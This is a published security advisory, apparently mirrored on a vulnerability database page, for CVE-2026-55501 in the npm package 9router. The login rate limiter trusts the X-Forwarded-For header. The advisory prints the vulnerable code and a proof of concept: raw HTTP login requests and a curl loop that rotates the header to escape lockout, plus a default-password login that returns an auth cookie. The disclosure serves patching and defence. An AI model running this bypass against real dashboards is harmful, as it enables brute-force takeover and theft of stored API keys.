GHSA-7CFM-PQRJ-XGQ7

Vulnerability from github – Published: 2026-07-06 21:46 – Updated: 2026-07-06 21:46
VLAI
Summary
9router: Login brute-force protection bypass via spoofed X-Forwarded-For header
Details

Summary

The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.

This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.

Details

Component File Note
Dashboard login rate limiter src/lib/auth/loginLimiter.js Uses X-Forwarded-For as the client identity without a trusted-proxy check
Dashboard login route src/app/api/auth/login/route.js Calls checkLock() and recordFail() using the spoofable client identity

Vulnerable Code

src/lib/auth/loginLimiter.js:

export function getClientIp(request) {
  const xff = request.headers.get("x-forwarded-for");
  if (xff) return xff.split(",")[0].trim();
  return request.headers.get("x-real-ip") || "unknown";
}

The returned value is used as the key for the in-memory rate-limit state:

const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }

The login route uses this value when checking and recording failed login attempts:

export async function POST(request) {
  const ip = getClientIp(request);
  const lock = checkLock(ip);

  if (lock.locked) {
    return NextResponse.json(
      { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
      { status: 429 }
    );
  }

  // ... password validation ...

  recordFail(ip);
}

Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.

PoC

Step 1 — Baseline: rate limiter triggers when the client identity is stable

Send repeated failed login attempts with the same X-Forwarded-For value:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1

{"password":"wrong-password"}

Observed behavior:

Attempt Response
1 Invalid password. 4 attempt(s) left before lockout.
2 Invalid password. 3 attempt(s) left before lockout.
3 Invalid password. 2 attempt(s) left before lockout.
4 Invalid password. 1 attempt(s) left before lockout.
5 Too many failed attempts. Try again in 30s.
6 Too many failed attempts. Try again in 30s.

This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.

Step 2 — Bypass: rotate X-Forwarded-For on each request

Send failed login attempts while changing the X-Forwarded-For value for every request:

for i in $(seq 1 10); do
  curl -s -X POST "http://localhost:20128/api/auth/login" \
    -H "Content-Type: application/json" \
    -H "X-Forwarded-For: 10.0.0.$i" \
    -d '{"password":"wrong-password"}'
  echo
done

Observed response for every request:

{
  "error": "Invalid password. 4 attempt(s) left before lockout.",
  "remainingBeforeLock": 4
}

The counter resets to the initial state on every request, and the lockout is never triggered.

Step 3 — Impact amplifier: default dashboard password

If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.

Example request:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99

{"password":"<default-dashboard-password>"}

Observed response on a default installation:

HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
{
  "success": true
}

The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.

Attack Scenario

  1. A remote attacker identifies a publicly reachable 9router dashboard.
  2. The attacker sends repeated login attempts to /api/auth/login.
  3. For each attempt, the attacker changes the X-Forwarded-For header value.
  4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.
  5. The attacker can continue brute-force attempts without triggering the configured lockout.
  6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access.

Impact

A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.

If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:

  • Access configured provider credentials and API keys.
  • Change dashboard and authentication settings.
  • Disable login protection if the application allows it.
  • Create persistent API keys or other long-lived access tokens.
  • Modify application configuration.
  • Chain the access with other server-side functionality exposed by the dashboard.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.71"
      },
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.77"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-307"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T21:46:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe 9router dashboard login rate limiter derives the client identity from the attacker-controlled `X-Forwarded-For` HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the `X-Forwarded-For` value on each login attempt and receive a fresh rate-limit bucket every time.\n\nThis bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.\n\n## Details\n\n| Component                    | File                              | Note                                                                        |\n| ---------------------------- | --------------------------------- | --------------------------------------------------------------------------- |\n| Dashboard login rate limiter | `src/lib/auth/loginLimiter.js`    | Uses `X-Forwarded-For` as the client identity without a trusted-proxy check |\n| Dashboard login route        | `src/app/api/auth/login/route.js` | Calls `checkLock()` and `recordFail()` using the spoofable client identity  |\n\n#### Vulnerable Code\n\n`src/lib/auth/loginLimiter.js`:\n\n```js\nexport function getClientIp(request) {\n  const xff = request.headers.get(\"x-forwarded-for\");\n  if (xff) return xff.split(\",\")[0].trim();\n  return request.headers.get(\"x-real-ip\") || \"unknown\";\n}\n```\n\nThe returned value is used as the key for the in-memory rate-limit state:\n\n```js\nconst attempts = new Map(); // ip -\u003e { fails, lockUntil, lockLevel, lastFailAt }\n```\n\nThe login route uses this value when checking and recording failed login attempts:\n\n```js\nexport async function POST(request) {\n  const ip = getClientIp(request);\n  const lock = checkLock(ip);\n\n  if (lock.locked) {\n    return NextResponse.json(\n      { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },\n      { status: 429 }\n    );\n  }\n\n  // ... password validation ...\n\n  recordFail(ip);\n}\n```\n\nBecause `X-Forwarded-For` is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.\n\n## PoC\n\n### Step 1 \u2014 Baseline: rate limiter triggers when the client identity is stable\n\nSend repeated failed login attempts with the same `X-Forwarded-For` value:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: localhost:20128\nContent-Type: application/json\nX-Forwarded-For: 1.1.1.1\n\n{\"password\":\"wrong-password\"}\n```\n\nObserved behavior:\n\n| Attempt | Response                                              |\n| ------- | ----------------------------------------------------- |\n| 1       | `Invalid password. 4 attempt(s) left before lockout.` |\n| 2       | `Invalid password. 3 attempt(s) left before lockout.` |\n| 3       | `Invalid password. 2 attempt(s) left before lockout.` |\n| 4       | `Invalid password. 1 attempt(s) left before lockout.` |\n| 5       | `Too many failed attempts. Try again in 30s.`         |\n| 6       | `Too many failed attempts. Try again in 30s.`         |\n\nThis confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.\n\n### Step 2 \u2014 Bypass: rotate `X-Forwarded-For` on each request\n\nSend failed login attempts while changing the `X-Forwarded-For` value for every request:\n\n```bash\nfor i in $(seq 1 10); do\n  curl -s -X POST \"http://localhost:20128/api/auth/login\" \\\n    -H \"Content-Type: application/json\" \\\n    -H \"X-Forwarded-For: 10.0.0.$i\" \\\n    -d \u0027{\"password\":\"wrong-password\"}\u0027\n  echo\ndone\n```\n\nObserved response for every request:\n\n```json\n{\n  \"error\": \"Invalid password. 4 attempt(s) left before lockout.\",\n  \"remainingBeforeLock\": 4\n}\n```\n\nThe counter resets to the initial state on every request, and the lockout is never triggered.\n\n### Step 3 \u2014 Impact amplifier: default dashboard password\n\nIf the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.\n\nExample request:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: localhost:20128\nContent-Type: application/json\nX-Forwarded-For: 99.99.99.99\n\n{\"password\":\"\u003cdefault-dashboard-password\u003e\"}\n```\n\nObserved response on a default installation:\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: auth_token=\u003credacted\u003e; Path=/; HttpOnly; SameSite=lax\n```\n\n```json\n{\n  \"success\": true\n}\n```\n\nThe default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router dashboard.\n2. The attacker sends repeated login attempts to `/api/auth/login`.\n3. For each attempt, the attacker changes the `X-Forwarded-For` header value.\n4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.\n5. The attacker can continue brute-force attempts without triggering the configured lockout.\n6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access.\n\n## Impact\n\nA successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.\n\nIf authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:\n\n* Access configured provider credentials and API keys.\n* Change dashboard and authentication settings.\n* Disable login protection if the application allows it.\n* Create persistent API keys or other long-lived access tokens.\n* Modify application configuration.\n* Chain the access with other server-side functionality exposed by the dashboard.",
  "id": "GHSA-7cfm-pqrj-xgq7",
  "modified": "2026-07-06T21:46:20Z",
  "published": "2026-07-06T21:46:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Login brute-force protection bypass via spoofed X-Forwarded-For header"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…